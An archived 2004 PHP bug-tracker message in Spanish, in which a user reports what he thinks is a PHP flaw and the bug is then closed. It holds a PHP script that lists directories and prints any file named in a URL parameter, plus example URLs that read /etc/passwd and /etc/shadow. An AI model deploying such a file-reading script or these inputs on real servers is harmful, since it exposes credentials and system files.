#30714 [Fbk->Csd]: se pueden ver archivos de directorios que no se pueden tener acceso en el host
| From: | bersuiteros at gmail dot com | Date: | Sun, 07 Nov 2004 21:56:17 +0000 |
| Subject: | #30714 [Fbk->Csd]: se pueden ver archivos de directorios que no se pueden tener acceso en el host | ||
| References: | 1 | Groups: | php.bugs |
| Request: | Send a blank email to php-bugs+get-68787@lists.php.net to get a copy of this message | ||
ID: 30714
User updated by: bersuiteros at gmail dot com
Reported By: bersuiteros at gmail dot com
-Status: Feedback
+Status: Closed
Bug Type: Directory function related
Operating System: Linux, Unix, Windows
PHP Version: Irrelevant
New Comment:
es problema de los servidores en los que probe el script
gracias
Previous Comments:
------------------------------------------------------------------------
[2004-11-07 22:42:33] derick@php.net
Not enough information was provided for us to be able
to handle this bug. Please re-read the instructions at
http://bugs.php.net/how-to-report.php
If you can provide more information, feel free to add it
to this bug and change the status back to "Open".
Thank you for your interest in PHP.
We only handle bugreports in English.
------------------------------------------------------------------------
[2004-11-07 20:35:58] bersuiteros at gmail dot com
es exactamente un bug?? o es problema de todos los servidores donde
probe el script??
------------------------------------------------------------------------
[2004-11-07 20:26:22] bersuiteros at gmail dot com
Description:
------------
Busque y busque, y no encontre que lo hayan reportado antes... asique
aca estoy escribiendo, aun nose si se puede declarar como BUG, pero
bue...
con un especifico script se puede acceder a cualquier directorio sin la
necesidad de ningun login y/o password ni nada por el estilo...
por ejemplo:
yo tengo una pagina en un servidor X...
mi pagina es del tipo: http://www.X.com/mipagina
(lo he probado en servidores Unix y Linux, si mal no recuerdo)
voy a poder ver carpetas y archivos dentro del servidor mucho mas
arriba en el arbol de directorio que la carpeta donde esta alojada mi
pagina...
el codigo se va a entender mejor...
el if(!isset($dir)), sirve para inicializar la variable $dir por si no
fue pasada como GET.
el if (!is_dir($dir)), sirve para mostrar el archivo siempre y cuando
no sea un directorio del String que tiene la var $dir
y el resto lo que hace es mostrar por pantalla los archivos y/o
directorios que posee $dir... agregue un <a> para que sea mas facil ir
metiendose en el arbol de directorios.
no se si esto es un bug... pero se puede llegar a sacar claves de
cualquier pagina y hasta del root del servidor en que este alojado este
script.
por ejemplo, poniendo:
http://www.X.com/mipagina/script.php?dir=etc/passwd
o
http://www.X.com/mipagina/script.php?dir=etc/shadow
se podra ver el contenido de ese archivo tan importante.
gracias.
Reproduce code:
---------------
<?php
if (!isset($dir))
$dir = '/';
else
$dir = '/'.$dir;
if (!is_dir($dir)){
$file = fopen($dir,"r");
while (!feof ($file)) {
$line = fgets ($file, 1024);
echo $line."<br>";
}
fclose($file);
}
$directorio = dir($dir);
while ($file = $directorio->read()) {
echo "<a
href=\"script.php?dir=".$dir."/".$file."\">$file</a><br>";
}
?>
Expected result:
----------------
.
..
.autofsck
boot
dev
proc
var
tmp
etc
root
usr
bin
home
initrd
lib
mnt
opt
sbin
SWH
www
lost+found
------------------------------------------------------------------------
--
Edit this bug report at http://bugs.php.net/?id=30714&edit=1